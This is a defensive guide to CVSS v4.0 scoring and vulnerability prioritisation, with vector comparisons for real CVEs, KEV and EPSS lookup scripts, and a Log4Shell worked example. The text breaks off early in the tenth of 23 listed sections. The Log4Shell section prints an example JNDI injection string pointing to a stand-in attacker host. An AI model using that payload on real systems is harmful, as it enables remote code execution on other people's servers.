Table of Contents

1. Introduction: CVSS Is a Tool, Not a Score
2. What Changed in v4.0 — and Why It Matters
3. v3.1 vs v4.0: Side-by-Side with Real CVEs
4. Anatomy of a CVSS v4.0 Vector String
5. The Three Metric Groups Explained
6. The CVSS Lifecycle: CVSS-B → CVSS-BT → CVSS-BTE
7. A Practical Scoring Workflow: Why Many Teams Go from CVSS-B → CVSS-BE → CVSS-BTE
8. Threat Metrics in Practice: KEV, EPSS, and Exploit Feeds
9. Environmental Metrics: Scoring for Your Environment
10. Worked Example 1: CVE-2021–44228 Log4Shell — Score Evolution Over 72 Hours
11. Worked Example 2: CVE-2025–32433 Erlang/OTP — From 10.0 to 5.9
12. Worked Example 3: Firmware Report — 18 Criticals Become Medium
13. Worked Example 4: CitrixBleed, MOVEit, FortiOS — Three Real-World Cases
14. Industry-Specific Scoring: Healthcare, Finance, OT/ICS
15. CVSS vs SSVC: When to Use Which
16. The Practical VM Workflow: From Scanner Output to Prioritized Action
17. CVSS v4.0 Enrichment Tool
18. CVSS as Regulatory Framework: The 5-Phase Maturity Model
19. Supplemental Metrics: The Overlooked Context Layer
20. The 8 Most Common CVSS Mistakes
21. Quick Reference Cheatsheet
22. Tools and Resources
23. Conclusion

Introduction: CVSS Is a Tool, Not a Score

Every security team has a vulnerability scanner. Every scanner produces a list with numbers. And almost every team treats those numbers as the truth — sorting by score descending, starting at 9.8, working down.

This is wrong. And CVSS v4.0 was designed to fix it.

The CVSS SIG (Special Interest Group), which maintains the standard at FIRST.org, makes this point explicitly in the Consumer Implementation Guide: the Base score is a worst-case estimate for an unmitigated system in a generic environment, produced by a vendor who has never seen your network. It is a starting point, not an answer.

The 3–5% Problem

According to CISA and multiple published threat intelligence studies, only 3–5% of published CVEs have a known, functional exploit at any given time. The Exploit Prediction Scoring System (EPSS), maintained by FIRST.org, corroborates this: the median EPSS score across all published CVEs hovers below 0.05 (5% probability of exploitation within 30 days).

Yet the default CVSS calculation assumes a mature, weaponized exploit exists for every vulnerability. This means every score you see in your scanner — before you apply Threat and Environmental metrics — is calculated under an assumption that is false for 95–97% of CVEs.

The Operational Consequence

Consider a mid-size organization’s typical scanner output:

Scanner report — typical enterprise environment:
  Total CVEs:        847
  Critical (9.0+):    94
  High (7.0–8.9):    203
With Base scores only, approximate remediation timeline:
  94 Critical × ~8 hours each = 752 analyst-hours
  203 High × ~4 hours each   = 812 analyst-hours
With Threat + Environmental enrichment (conservative estimate):
  ~5 true Critical (KEV or active exploit, exposed system): 40 hours
  ~22 true High (POC exists OR exposure without controls): 88 hours
Reduction: from ~1,564 analyst-hours to ~128 analyst-hours
- a 92% reduction in wasted effort

CVSS v4.0 provides the mechanism to achieve this reduction. This guide shows you exactly how.

What Changed in v4.0 — and Why It Matters

CVSS v4.0 was released on November 1, 2023. The changes are more significant than any previous version update — v4.0 is effectively a redesign of the impact and temporal models.

New Impact Model: Two Systems Instead of One

The biggest structural change: CVSS v4.0 separates impact into two systems:

Vulnerable System — the component directly compromised by the vulnerability (what the attacker hits first). Subsequent System — any system affected as a downstream consequence of exploiting the vulnerable system.

In v3.x, this distinction was handled through the vague “Scope” metric (Unchanged/Changed). In v4.0, it is explicit and granular:

v3.1 impact metrics:
  C (Confidentiality): None / Low / High
  I (Integrity):       None / Low / High
  A (Availability):    None / Low / High
  S (Scope):           Unchanged / Changed
v4.0 impact metrics:
  VC (Vulnerable System Confidentiality): None / Low / High
  VI (Vulnerable System Integrity):       None / Low / High
  VA (Vulnerable System Availability):    None / Low / High
  SC (Subsequent System Confidentiality): None / Low / High
  SI (Subsequent System Integrity):       None / Low / High
  SA (Subsequent System Availability):    None / Low / High

Why this matters operationally: In v3.x, if an SSH daemon vulnerability only affects the single server it runs on, you score it Scope:Unchanged. If it can propagate to a database behind it, Scope:Changed. These two scenarios produced different base scores, but there was no way to capture how much the subsequent system was affected. In v4.0, you can score a vulnerability that fully compromises the immediate system (VC:H/VI:H/VA:H) but has only partial downstream confidentiality impact (SC:L/SI:N/SA:N) — a much more precise description of real-world attack chains.

New Metric: Attack Requirements (AT)

v4.0 adds Attack Requirements (AT) alongside Attack Complexity (AC). These two metrics were previously collapsed into one:

Real-world example: CVE-2022–26134 (Confluence OGNL injection):

• AC:L — exploitation is straightforward, no bypass required
• AT:N — no special deployment preconditions; works against default installations

For AC:H / AT:N — a race condition where the attacker must actively win timing, but no special deployment condition is required:

CVE-2024–6387 (OpenSSH “regreSSHion”) is a strong example. NVD describes it as a race condition in sshd that an unauthenticated remote attacker may trigger by failing authentication within a set time period. That maps well to AC:H because exploitation depends on hitting a narrow timing window, but AT:N because the race is part of the vulnerable code path itself, not dependent on a non-default deployment prerequisite.

Another reasonable example is CVE-2020–28049 (SDDM). NVD states the issue is caused by a race condition during Xauthority file creation, where for a short time an unprivileged local user can connect to the X server before authentication is properly enforced. Again, that is naturally AC:H because the attacker must exploit a transient timing window, while AT:N fits because the weakness is intrinsic to the vulnerable startup behavior rather than requiring some extra deployment state.

For AC:L / AT:P — exploitation is easy once a particular non-default setup exists, but that setup is itself the precondition:

CVE-2025–24813 (Apache Tomcat) is a very clean example. Apache and NVD both state exploitation requires “writes enabled for the default servlet (disabled by default)”. Once that condition is present, the exploit path is not about winning a race or overcoming complex defensive mechanics; the main hurdle is that the vulnerable deployment configuration must exist. That makes it a good fit for AC:L and AT:P.

CVE-2021–45046 (Log4j 2.15.0) is another solid example. NVD explicitly says the issue appears only in certain non-default configurations, specifically when the logging configuration uses a non-default Pattern Layout with Context Lookup or Thread Context Map patterns. In CVSS v4 terms, that aligns with AT:P because the environment must be deployed in that specific way; once it is, the attacker’s path is comparatively straightforward, so AC:L is the better fit than AC:H.

A third example is Tomcat CGI Servlet RCE on Windows from the Tomcat security page. Apache states the CGI Servlet is disabled by default and the issue is exposed when enableCmdLineArguments is enabled. That is another textbook AT:P case: the risky deployment state must be present first.

New Threat Metric: Exploit Maturity (E)

The old v3.x Temporal metric group is now the Threat metric group, containing a single metric: Exploit Maturity (E). The old Remediation Level and Report Confidence metrics were removed.

The E:X trap: When a CVE is published with no Exploit Maturity specified — which is the default from NVD and most scanners — CVSS v4.0 calculates as if E:A. If you have 500 CVEs and never set Exploit Maturity, you are treating all 500 as actively exploited. Setting E:U for CVEs with no exploit evidence is not optimism — it is accuracy.

Cleaner Naming: CVSS-B, CVSS-BT, CVSS-BTE

v4.0 introduces formal nomenclature for the scoring lifecycle. This naming is important for compliance documentation and vendor communication:

Supplemental Metric Group (New)

A new optional group of metrics that provide context without affecting the score: Safety (S), Automatable (AU), Recovery (R), Value Density (V), Vulnerability Response Effort (RE), Provider Urgency (U). These allow vendors to communicate operational context that the numeric score cannot capture.

v3.1 vs v4.0: Side-by-Side with Real CVEs

Understanding the practical differences requires seeing the same vulnerability scored under both versions.

Example A: Log4Shell (CVE-2021–44228)

CVSS v3.1 vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Score: 10.0 Critical
CVSS v4.0 equivalent:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Score: 10.0 Critical
What changed: The "Scope:Changed" in v3.1 is now explicit as SC:H/SI:H/SA:H.
In v4.0, you can see exactly what the downstream impact is, not just that scope
"changed". Both scores are 10.0 - the difference is expressiveness.

Example B: PrintNightmare (CVE-2021–34527) — Where Scoring Complexity Matters

CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Score: 8.8 High
CVSS v4.0:
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Score: 9.8 Critical
Key difference: v4.0 scores the DOMAIN CONTROLLER scenario higher because
SC:H/SI:H/SA:H explicitly captures that compromising a domain-joined system
enables domain-level compromise (subsequent system impact).
In v3.1, Scope:Unchanged kept it at 8.8. In v4.0, if the subsequent system
(Active Directory) has high CIA impact, the score correctly reflects that
a low-privilege exploit can ultimately lead to domain domination.

Example C: A Local Privilege Escalation — Where v4.0 Scores Lower

Vulnerability: Local service running as SYSTEM, exploitable by authenticated user
No network access, no subsequent system impact.
CVSS v3.1:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Score: 7.8 High
CVSS v4.0:
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Score: 7.3 High
v4.0 is more accurate: SC:N/SI:N/SA:N explicitly states that no downstream
systems are affected. This is a pure local privilege escalation with no
lateral movement potential.

Key Scoring Differences Summary

Anatomy of a CVSS v4.0 Vector String

The vector string is the machine-readable representation of all CVSS metric choices. It is the authoritative record of a vulnerability’s scoring.

Full v4.0 Vector String Format

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Breaking it down:

CVSS:4.0          — version identifier (required prefix)
BASE METRICS (all 11 required - no omissions allowed):
  AV:N            - Attack Vector: Network (remotely exploitable)
  AC:L            - Attack Complexity: Low (straightforward)
  AT:N            - Attack Requirements: None (no preconditions)
  PR:N            - Privileges Required: None (unauthenticated)
  UI:N            - User Interaction: None (attacker acts alone)
  VC:H            - Vulnerable System Confidentiality: High (full disclosure)
  VI:H            - Vulnerable System Integrity: High (full modification)
  VA:H            - Vulnerable System Availability: High (full disruption)
  SC:H            - Subsequent System Confidentiality: High
  SI:H            - Subsequent System Integrity: High
  SA:H            - Subsequent System Availability: High
THREAT METRICS (optional - defaults to X which assumes A):
  E:A             - Exploit Maturity: Attacked (actively exploited)
ENVIRONMENTAL METRICS (optional - all default to X):
  CR:X / IR:X / AR:X  - Security Requirements (not defined = use vendor defaults)
  MAV:A           - Modified Attack Vector: Adjacent (overrides AV:N)
  MAC:H           - Modified Attack Complexity: High (compensating controls)
  MAT:X           - Modified Attack Requirements: Not Defined
  MPR:X           - Modified Privileges Required: Not Defined
  MUI:X           - Modified User Interaction: Not Defined
  MVC:X / MVI:X / MVA:X   - Modified Vulnerable System impact
  MSC:X / MSI:X / MSA:X   - Modified Subsequent System impact
SUPPLEMENTAL METRICS (optional - informational, no score effect):
  S:X             - Safety
  AU:Y            - Automatable: Yes
  R:X             - Recovery
  V:X             - Value Density
  RE:X            - Vulnerability Response Effort
  U:X             - Provider Urgency

Compact Form — Only Non-Default Values

In practice, only include metrics that differ from “Not Defined” (X). A fully enriched vector for an isolated internal system with POC exploit:

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/MAV:A/MAC:H

The base metrics (all 11) are always required. Everything after that is optional and only included when set.

Parsing the Vector Programmatically

def parse_cvss_v4_vector(vector: str) -> dict:
    """Parse a CVSS v4.0 vector string into a dictionary."""
    if not vector.startswith("CVSS:4.0/"):
        raise ValueError("Not a CVSS v4.0 vector")
parts = vector[9:].split("/")
    metrics = {}
    for part in parts:
        if ":" in part:
            key, value = part.split(":", 1)
            metrics[key] = value
    return metrics
# Example usage:
vector = "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/MAV:A"
parsed = parse_cvss_v4_vector(vector)
# {'AV': 'N', 'AC': 'L', 'AT': 'N', 'PR': 'N', 'UI': 'N',
#  'VC': 'H', 'VI': 'H', 'VA': 'H', 'SC': 'H', 'SI': 'H', 'SA': 'H',
#  'E': 'P', 'MAV': 'A'}
exploit_maturity = parsed.get("E", "X")  # X = Not Defined (defaults to A)
attack_vector = parsed.get("MAV", parsed.get("AV"))  # Modified overrides Base

The Calculator

The FIRST.org calculator at https://www.first.org/cvss/calculator/4-0 provides a visual interface. As you make selections, the vector string updates in real-time. Use the vector string as the authoritative record; use the calculator as the working interface.

The Three Metric Groups Explained

Group 1: Base Metrics (Set by Vendor)

Base metrics describe the intrinsic properties of the vulnerability itself, independent of time and environment.

Exploitability Metrics — describe the attack path:

Impact Metrics — what happens after a successful exploit:

Score Ranges (v4.0):

Group 2: Threat Metrics (Consumer + Threat Intel)

Contains one metric: Exploit Maturity (E).

The most impactful single adjustment available. Setting E:U for a CVE with no public exploit can drop a 10.0 Critical to a 6–7 Medium/High — moving it from a 3am emergency to a scheduled maintenance window.

Primary sources for Exploit Maturity determination:

• CISA Known Exploited Vulnerabilities (KEV) Catalog
• FIRST.org Exploit Prediction Scoring System (EPSS)
• Metasploit Framework
• Exploit Database (ExploitDB)
• GitHub Public Repositories (Search for CVE IDs directly)
• Commercial Threat Intelligence (TI): Consult Recorded Future, Mandiant, or GreyNoise directly.

Group 3: Environmental Metrics (Consumer + Local Knowledge)

Two sub-groups that let you encode what your security team knows about the actual deployment.

Security Requirements (CR/IR/AR) — how important is CIA for this specific asset:

High-criticality production payment API:
  CR:H / IR:H / AR:H  →  scores INCREASE relative to Base
  (This system is more important to protect than the vendor assumed)
Development test server (no real data, not customer-facing):
  CR:L / IR:L / AR:L  →  scores DECREASE relative to Base
  (This system is less important than the vendor assumed)

Modified Base Metrics (MAV, MAC, MAT, MPR, MUI, MVC, MVI, MVA, MSC, MSI, MSA) — override specific Base values to reflect actual deployment conditions. When a Modified metric is set, it replaces the corresponding Base metric in the score calculation:

Vendor assumed: AV:N (any internet attacker)
Your reality:   MAV:A (system is behind a firewall, adjacent network only)
→ Score drops by ~1.5–2.5 points
Vendor assumed: AC:L (straightforward exploitation)
Your reality:   MAC:H (attacker must first bypass your MFA + VPN)
→ Score drops further

The CVSS Lifecycle: CVSS-B → CVSS-BT → CVSS-BTE

FIRST.org describes CVSS v4.0 as a living score that matures as information becomes available. This lifecycle maps to organizational maturity and regulatory requirements.

┌────────────────────────────────────────────────────────────────-──┐
│                    CVSS SCORING LIFECYCLE                         │
│                                                                   │
│  VENDOR PUBLISHES                                                 │
│  ┌─────────────┐                                                  │
│  │  CVSS-B     │  Base metrics only                               │
│  │  (Worst     │  → Published in NVD, CVE records                 │
│  │   Case)     │  → Generic, deployment-independent               │
│  │  e.g. 9.8   │  → Produced by vendor/researcher                 │
│  └──────┬──────┘                                                  │
│         │  Add Threat Intelligence (CISA KEV, EPSS, ExploitDB)    │
│         ▼                                                         │
│  ┌─────────────┐                                                  │
│  │  CVSS-BT    │  Base + Exploit Maturity                         │
│  │  (Current   │  → "Is this being exploited right now?"          │
│  │   Reality)  │  → Uses CISA KEV, EPSS, Metasploit, ExploitDB    │
│  │  e.g. 7.4   │  → Produced by consumer with threat intel        │
│  └──────┬──────┘                                                  │
│         │  Add Environmental Context (your network/data/controls) │
│         ▼                                                         │
│  ┌─────────────┐                                                  │
│  │  CVSS-BTE   │  Base + Threat + Environment                     │
│  │  (Your      │  → "How bad is this here, for us, today?"        │
│  │   Reality)  │  → Uses asset inventory, network topology,       │
│  │  e.g. 4.2   │     compensating controls, CIA requirements      │
│  └─────────────┘  → Produced by consumer security team            │
│                                                                   │
│  DECISION: Patch/Mitigate timeline based on CVSS-BTE severity     │
└─────────────────────────────────────────────────────────────────-─┘

Practical implementation path: You do not need to achieve CVSS-BTE overnight. Start with CVSS-B (vendor score from NVD). Add Threat metrics when you have a threat intel program (CVSS-BT). Add Environmental metrics as you build asset inventory and network documentation (CVSS-BTE). Each layer improves decision quality.

A Practical Scoring Workflow: Why Many Teams Go from CVSS-B → CVSS-BE → CVSS-BTE

The formal CVSS v4.0 framework defines four valid score sets: CVSS-B, CVSS-BT, CVSS-BE, and CVSS-BTE. Each one serves a distinct purpose, and each one reflects a different level of contextual enrichment.

At the specification level, it is easy to think of scoring as a neat progression from Base to Base + Threat to Base + Threat + Environmental:

CVSS-B → CVSS-BT → CVSS-BTE

That sequence is formally correct.

But in real vulnerability management operations, many teams do not actually work in that order.

In practice, the more operationally useful path is often:

CVSS-B → CVSS-BE → CVSS-BTE

The reason is simple: in most organizations, environmental context is available immediately, while threat context often matures later.

When a new CVE is disclosed, you may not yet have reliable answers to threat-related questions such as:

• Is public exploit code available?
• Is exploitation merely theoretical, or already practical?
• Has the vulnerability been weaponized?
• Is it being used opportunistically, selectively, or at scale?
• Has it appeared in KEV, exploit feeds, or credible threat reporting?
• Is there confirmed in-the-wild activity, or only early speculation?

Those answers often arrive later — sometimes hours later, sometimes days later, and sometimes only after the vulnerability has already entered active exploitation cycles.

By contrast, your organization usually knows its own environment immediately.

The moment the CVE appears, you often already know:

• whether the affected asset is internet-exposed or reachable only internally
• whether it sits in production, staging, development, or an isolated lab
• whether the vulnerable service is accessible by untrusted users
• whether segmentation, VPN-only access, jump hosts, WAFs, or other compensating controls reduce practical exposure
• whether the affected system is business-critical, safety-relevant, or low-impact
• whether downstream confidentiality, integrity, availability, or operational consequences actually matter in your environment
• whether exploitation would affect a crown-jewel system or a low-value supporting component

That means the Environmental dimension is often the first real opportunity to replace vendor-neutral worst-case assumptions with organization-specific reality.

In other words, many teams can move from Base to Base + Environmental on day one, even if threat intelligence is still incomplete.

That is why, in practical triage workflows, the sequence often becomes:

1. Start with CVSS-B to establish the vendor-neutral severity baseline.
2. Apply Environmental metrics using known internal context to produce CVSS-BE.
3. Add Threat metrics later as evidence matures, producing CVSS-BTE.

This workflow is especially useful for newly disclosed vulnerabilities, where waiting for mature threat data can slow prioritization at exactly the moment fast decisions are needed.

It also reflects a core reality of vulnerability operations:

Environmental context is usually local and immediate. Threat context is often external and delayed.

That does not make CVSS-BT unimportant.

CVSS-BT remains a fully valid and useful score, especially for:

• threat-informed prioritization programs
• dashboards that track exploitation pressure across large CVE sets
• external reporting pipelines
• security teams that heavily integrate KEV, exploit feeds, EPSS, or CTI into daily triage
• situations where the threat picture is already mature, but local environmental scoring has not yet been completed

But for many defenders, patch teams, asset owners, and risk managers, CVSS-BE is often the first score that actually reflects operational reality inside the organization.

A useful way to think about the score sets is this:

• CVSS-B tells you the general, vendor-neutral worst-case severity
• CVSS-BE tells you what the vulnerability means in your environment
• CVSS-BTE tells you what it means in your environment under the current threat landscape

That distinction matters.

A vulnerability may look severe in abstract, but drop meaningfully once you account for isolation, segmentation, limited exposure, or low business impact. Another vulnerability may remain highly important even in a constrained environment because the affected asset is mission-critical. And once credible threat evidence appears — public exploitation, KEV inclusion, operational tooling, or real adversary use — the priority can rise again under BTE.

So while the formal model includes B, BT, BE, and BTE as parallel valid score sets, many real-world programs naturally operate in a different practical sequence:

CVSS-B → CVSS-BE → CVSS-BTE

That order is not a contradiction of the framework. It is simply how many teams apply the framework when immediate local context is available before complete external threat intelligence.

For that reason, if your goal is fast and defensible vulnerability triage, BE is often the first meaningful refinement of Base, and BTE becomes the fully contextualized score once both environment and threat are understood.

Threat Metrics in Practice: KEV, EPSS, and Exploit Feeds

CISA Known Exploited Vulnerabilities (KEV) Catalog

The KEV catalog is the gold standard for E:A determination. CISA adds a CVE only when it has confirmed, real-world exploitation evidence. As of March 2026, the catalog contains approximately 1,550+ CVEs — out of over 240,000 published CVEs in NVD. That is well under 1%.

# Check KEV via API — works immediately, no registration needed
curl -s "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" \
  | python3 -c "
import json, sys
data = json.load(sys.stdin)
cve_id = 'CVE-2021-44228'
match = [v for v in data['vulnerabilities'] if v['cveID'] == cve_id]
if match:
    v = match[0]
    print(f'IN KEV: {v[\"vulnerabilityName\"]}')
    print(f'Due Date: {v[\"dueDate\"]}')
    print(f'Required Action: {v[\"requiredAction\"]}')
else:
    print('Not in KEV')
"
# Output for Log4Shell:
# IN KEV: Apache Log4j2 Remote Code Execution Vulnerability
# Due Date: 2021-12-24
# Required Action: Apply updates per vendor instructions.

Batch KEV check — Python with CSV output:

import json, requests, csv, sys
from datetime import datetime
def load_kev() -> set:
    """Download and return the set of CVE IDs in CISA KEV."""
    url = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
    response = requests.get(url, timeout=30)
    response.raise_for_status()
    return {v["cveID"]: v for v in response.json()["vulnerabilities"]}
def load_epss(cve_ids: list) -> dict:
    """Fetch EPSS scores for a list of CVE IDs from FIRST.org API."""
    base_url = "https://api.first.org/data/v1/epss"
    scores = {}
    # API accepts comma-separated CVE IDs, max ~30 per request
    for i in range(0, len(cve_ids), 30):
        batch = ",".join(cve_ids[i:i+30])
        resp = requests.get(f"{base_url}?cve={batch}", timeout=30)
        if resp.ok:
            for item in resp.json().get("data", []):
                scores[item["cve"]] = float(item["epss"])
    return scores
def determine_exploit_maturity(cve_id: str, kev_data: dict, epss_scores: dict) -> str:
    """
    Determine Exploit Maturity based on KEV and EPSS.
    Returns the CVSS v4.0 E: value.
    """
    if cve_id in kev_data:
        return "E:A"  # Confirmed active exploitation
    epss = epss_scores.get(cve_id, 0.0)
    if epss >= 0.5:
        # EPSS ≥ 50% = high exploitation likelihood → strong POC signal
        return "E:P"
    elif epss >= 0.1:
        # Moderate signal - verify against ExploitDB/Metasploit/GitHub
        return "E:P"
    else:
        # Low EPSS, not in KEV - no exploitation evidence
        return "E:U"
# Example: Enrich a list of CVEs from your scanner
cves_from_scanner = [
    "CVE-2021-44228",  # Log4Shell
    "CVE-2023-4966",   # CitrixBleed
    "CVE-2023-34362",  # MOVEit SQLi
    "CVE-2024-21762",  # FortiOS SSL VPN
    "CVE-2025-32433",  # Erlang/OTP SSH
]
kev = load_kev()
epss = load_epss(cves_from_scanner)
print(f"{'CVE':<20} {'KEV':>5} {'EPSS':>8} {'E Value':<10}")
print("-" * 50)
for cve in cves_from_scanner:
    in_kev = "YES" if cve in kev else "NO"
    epss_score = epss.get(cve, 0.0)
    e_value = determine_exploit_maturity(cve, kev, epss)
    print(f"{cve:<20} {in_kev:>5} {epss_score:>8.4f} {e_value:<10}")

EPSS — The Probabilistic Complement to CVSS

The Exploit Prediction Scoring System (EPSS) is a machine learning model maintained by FIRST.org that predicts the probability of a CVE being exploited in the wild within 30 days. It complements CVSS by answering a different question: not “how severe is the vulnerability?” but “how likely is it to be exploited soon?”

EPSS characteristics:

• Score range: 0.0 to 1.0 (probability)
• Updated daily
• Uses ML trained on NVD data, Metasploit module availability, ExploitDB entries, active threat feeds
• Free API: https://api.first.org/data/v1/epss?cve=CVE-XXXX-XXXXX

How to combine CVSS + EPSS for prioritization:

Priority Matrix:
                    EPSS Low (<0.1)    EPSS Medium (0.1-0.5)    EPSS High (>0.5)
CVSS High/Critical   → Schedule          → Priority                → Immediate
CVSS Medium          → Backlog           → Schedule                → Priority
CVSS Low             → Accept/Ignore     → Backlog                 → Schedule
Real examples (approximate, as of early 2024):
  CVE-2021-44228 (Log4Shell):   CVSS 10.0, EPSS ~0.97 → Immediate
  CVE-2023-4966  (CitrixBleed): CVSS 9.4,  EPSS ~0.97 → Immediate
  CVE-2021-34527 (PrintNightm): CVSS 8.8,  EPSS ~0.96 → Immediate
  CVE-2023-34362 (MOVEit):      CVSS 9.8,  EPSS ~0.96 → Immediate
  Typical new CVE (no exploit): CVSS 7.5,  EPSS ~0.002 → Schedule/Backlog
# Quick EPSS check for a CVE
curl -s "https://api.first.org/data/v1/epss?cve=CVE-2021-44228" \
  | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['data'][0])"
# {'cve': 'CVE-2021-44228', 'epss': '0.97530', 'percentile': '1.00000', 'date': '<today>'}
# EPSS scores are updated daily - check the date field to confirm freshness

The Step-by-Step Threat Metric Determination Workflow

For each CVE in your scanner output:
Step 1: Check CISA KEV (30 seconds, fully automated)
  → IN KEV?  → Set E:A, mark as highest priority
  → NOT IN KEV? → Continue to Step 2
Step 2: Check EPSS score
  → EPSS ≥ 0.5?  → Strong exploitation likelihood → E:P at minimum
  → EPSS 0.1–0.5? → Moderate likelihood → E:P (verify against ExploitDB)
  → EPSS < 0.1?  → Low likelihood → Continue to Step 3
Step 3: Check ExploitDB / Metasploit / GitHub
  searchsploit CVE-XXXX-XXXXX
  msfconsole -q -x "search cve:XXXX-XXXXX type:exploit; exit"
  → Module/exploit found? → E:P
  → Nothing found? → Continue to Step 4
Step 4: Default assignment
  → No KEV, no EPSS signal, no public exploit → E:U

Environmental Metrics: Scoring for Your Environment

The Core Principle

A vulnerability vendor scores a system as if it is:

• Directly accessible from the internet (AV:N)
• Running with no compensating controls
• Processing your most sensitive data
• Able to reach any system in your network

Your security team knows this is almost never true for any given system. Environmental metrics encode that knowledge as documented, auditable adjustments.

Practical Environmental Metric Decisions

Decision 1: Network Exposure

Vendor scored: AV:N (reachable from anywhere on the internet)
Scenario A - Internet-facing server:
  No change needed. AV:N reflects reality.
Scenario B - Internal VLAN, firewall-controlled:
  MAV:A (Modified Attack Vector: Adjacent)
  Documentation: "System resides on VLAN 10, firewall rule FW-2041 blocks
  all inbound access from WAN. Last verified: [date], Change ticket: [ID]"
  Score effect: -1.5 to -2.5 points typically
Scenario C - Jump host required, no direct network path:
  MAV:L (Modified Attack Vector: Local)
  Documentation: "SSH access only via jump-host JUMP-01, no direct routing
  from any external zone. Network diagram: NDG-004"
  Score effect: more significant reduction

Decision 2: Compensating Security Controls

Vendor scored: AC:L (low complexity — straightforward exploitation)
Your reality: system access requires:
  (1) VPN authentication with hardware MFA token
  (2) Jump host with session recording
  (3) IP allowlisting to specific bastion hosts
→ MAC:H (Modified Attack Complexity: High)
  "Exploiting this in our environment requires bypassing enterprise VPN
  (MFA-protected), jump host IP filtering, and session monitoring.
  Policy reference: NET-POLICY-022"

Decision 3: Data Sensitivity

Vendor scored: VC:H (high confidentiality impact — assumes worst-case data)
Scenario A - System processes PII, financial, or health data:
  No change. VC:H is appropriate.
  Consider setting CR:H to amplify the score.
Scenario B - System is a build server, processes only source code and
artifact hashes, no customer data:
  MVC:L (Modified Vulnerable System Confidentiality: Low)
  Documentation: "System data classification: Internal/Technical per
  DLP-2023. No PII, financial, or regulated data categories."

Decision 4: Blast Radius (Subsequent System Impact)

Vendor scored: SC:H/SI:H/SA:H (can affect downstream systems)
Your reality: this system has no outbound connections except to its
own read-only database. No service accounts with lateral movement
potential. Network segmentation enforced by firewall.
MSC:N / MSI:N / MSA:N
Documentation: "System [ID] network connections: inbound from [A,B],
outbound to [DB-READONLY] only. Firewall egress rules [FW-2201 through
FW-2203] block all other outbound. Network architecture diagram NDG-007."

Decision 5: Security Requirements — Adjusting for Asset Criticality

Security Requirements (CR/IR/AR) work differently from Modified Base metrics. Instead of overriding vendor assumptions, they adjust the score up or down based on how important CIA is for this asset in your organization:

High-criticality asset (production customer database):
  CR:H / IR:H / AR:H
  → Score increases above the environmental-adjusted Base
  → The same vulnerability is MORE severe here than the vendor assumed
Low-criticality asset (developer test environment):
  CR:L / IR:L / AR:L
  → Score decreases below the environmental-adjusted Base
  → The same vulnerability is LESS severe here
Same vulnerability, CVE-2023-44487 (HTTP/2 Rapid Reset):
  On production CDN edge:  BTE = 8.9 High (AR:H - availability critical)
  On dev test instance:    BTE = 3.2 Low  (AR:L - availability optional)

Environmental Adjustment Documentation Template

CVE: [CVE-XXXX-XXXXX]
Asset: [system name / ID]
Asset Classification: [Confidentiality: L/M/H] [Integrity: L/M/H] [Availability: L/M/H]
Base Vector (from NVD):
  [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H]
  Base Score: [10.0 Critical]
Threat Enrichment:
  E: [A/P/U] - Source: [CISA KEV / ExploitDB EDB-XXXXX / No evidence]
  EPSS: [score] - Percentile: [XX]th
Environmental Adjustments:
  [MAV:A] - [System on internal VLAN, not internet-accessible. Evidence: FW-RULE-XXXX]
  [MAC:H] - [Access requires MFA VPN. Evidence: POLICY-NET-022]
  [MSC:N/MSI:N/MSA:N] - [Isolated system, no lateral movement paths. Evidence: NDG-007]
BTE Vector:
  [CVSS:4.0/.../E:P/MAV:A/MAC:H/MSC:N/MSI:N/MSA:N]
  BTE Score: [5.9 Medium]
Approved by: [Name, Title]
Date: [YYYY-MM-DD]
Next Review: [YYYY-MM-DD or "on next change event"]
Change Ticket: [TICKET-ID]

Worked Example 1: CVE-2021–44228 Log4Shell — Score Evolution Over 72 Hours

Log4Shell is the canonical example of a 10.0 Critical vulnerability that genuinely deserved its score and its emergency response. It also illustrates why CVSS scores must be treated as dynamic, not static.

The Vulnerability

CVE-2021–44228 — Apache Log4j2 JNDI injection, disclosed December 9–10, 2021. Log4j2 is a ubiquitous Java logging library used in virtually every Java application stack. The vulnerability allowed unauthenticated remote code execution by logging a specially crafted string like ${jndi:ldap://attacker.com/exploit}.

Base Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Reading the vector:
  AV:N   - Any internet attacker can reach Log4j (it processes log input from requests)
  AC:L   - One malicious string in any logged field (User-Agent, username, etc.)
  AT:N   - No special deployment conditions; Log4j's default config enables JNDI lookup
  PR:N   - Unauthenticated; the string is logged before any auth check
  UI:N   - No user interaction
  VC:H   - Full compromise of the JVM process (RCE)
  VI:H   - Arbitrary code execution = arbitrary data modification
  VA:H   - Process crash or disruption possible
  SC:H   - Applications run with broad permissions; lateral movement to databases,
           APIs, secrets vaults is documented in nearly every case study
  SI:H   - Downstream integrity compromise confirmed in attacks
  SA:H   - Downstream availability impact confirmed
Base Score: 10.0 Critical

Hour 0: Disclosure (December 9, 2021)

CVSS-B:  10.0 Critical (vendor-published score)
E:       X (Not Defined) — no public exploit yet at moment of NVD publication
Security team action with default (E:X):
  Scanner shows 10.0 - emergency response initiated
  This is CORRECT. E:X defaults to E:A, and JNDI proof-of-concept
  was already circulating in private channels at disclosure.

Hour 12–24: PoC Goes Public

By December 10–11, multiple working proof-of-concept exploits appeared on GitHub. Mass scanning for vulnerable Log4j endpoints began within hours.

